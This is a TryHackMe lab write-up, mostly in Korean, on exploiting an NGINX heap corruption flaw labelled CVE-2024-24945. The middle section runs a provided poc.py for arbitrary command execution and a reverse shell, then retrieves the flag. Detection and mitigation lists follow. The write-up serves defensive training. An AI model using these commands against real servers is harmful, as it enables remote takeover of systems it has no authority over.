
This lab demonstrates the exploitation of CVE-2024-24945, a heap corruption vulnerability affecting NGINX. The objective was to understand how memory corruption can lead to Remote Code Execution (RCE) and gain practical experience in exploitation, detection, and mitigation techniques.
이 실습은 NGINX에 영향을 미치는 힙 손상 취약점인 CVE-2024-24945의 악용을 보여줍니다. 목표는 메모리 손상이 원격 코드 실행(RCE)으로 이어질 수 있는 방식을 이해하고, 악용, 탐지 및 완화 기법에 대한 실무 경험을 얻는 것이었습니다.
. 취약한 NGINX 서비스 확인 . 제공된 PoC(proof of concept)를 사용하여 임의 명령 실행 . 대상 컨테이너에서 리버스 셸 획득 . 챌린지 플래그 검색 . 탐지 및 완화 전략 이해
. 플랫폼: TryHackMe . 대상 서비스: NGINX RIFT . 컨테이너화 환경: Docker . 익스플로잇 도구: poc.py . 접근 방식: VNC (Virtual Network Computing)
서비스 확인
취약한 컨테이너가 실행 중이며 접근 가능함을 확인했습니다.
sudo docker ps
curl -s http://127.0.0.1:19321/api/users/42
백엔드 정상
제공된 PoC를 실행하여 임의 명령 실행을 검증했습니다.
pytho3 poc.py --cmd 'echo hello from depthfirst > /tmp/pwned
성공적인 실행 확인:
sudo docker exec nginx-rift-nginx-1
cat /tmp/pwned
출력: hello from depthfirst
대상 컨테이너에서 대화형 셸을 설정합니다.
python3 poc.py --shell
연결 성공:
[] listening for reverse shell on port 1337... [] connected. $
챌린지 플래그에 접근했습니다.
cat /flag.txt
THM{18_y34r_%t4t3_m15m4tch_rip5_th3_h34p}
방어자는 다음과 같은 징후를 통해 악용 시도를 식별할 수 있습니다:
. NGINX 워커 충돌 . 세그멘테이션 폴트 이벤트 . 예상치 못한 아웃바운드 네트워크 연결 . 의심스러운 셸 프로세스 (/bin/sh, bash) . 임시 디렉터리에 무단 파일 생성
. 패치된 NGINX 버전으로 업그레이드 . 최소 권한 원칙 적용 . 불필요한 아웃바운드 네트워크 트래픽 제한 . 지속적인 로그 모니터링 구현 . 컨테이너 보안 제어 및 런타임 모니터링 사용
이 실습은 다음에 대한 실무 경험을 제공했습니다:
. 힙 손상 취약점 이해 . 원격 코드 실행 결함 악용 . 리버스 셸 설정 . 익스플로잇 후 검증 수행 . 침해 지표 및 완화 기법 인식
이 연습은 교육 및 방어적 사이버 보안 훈련 목적으로만 통제된 TryHackMe 실습실 환경에서 수행되었습니다.
작성자: [Benedict Ejepu Amaechi] 플랫폼: TryHackMe 주제: CVE-2024-24945 9NGINX RIFT0 악용 및 방어 완료일: 2026년 6월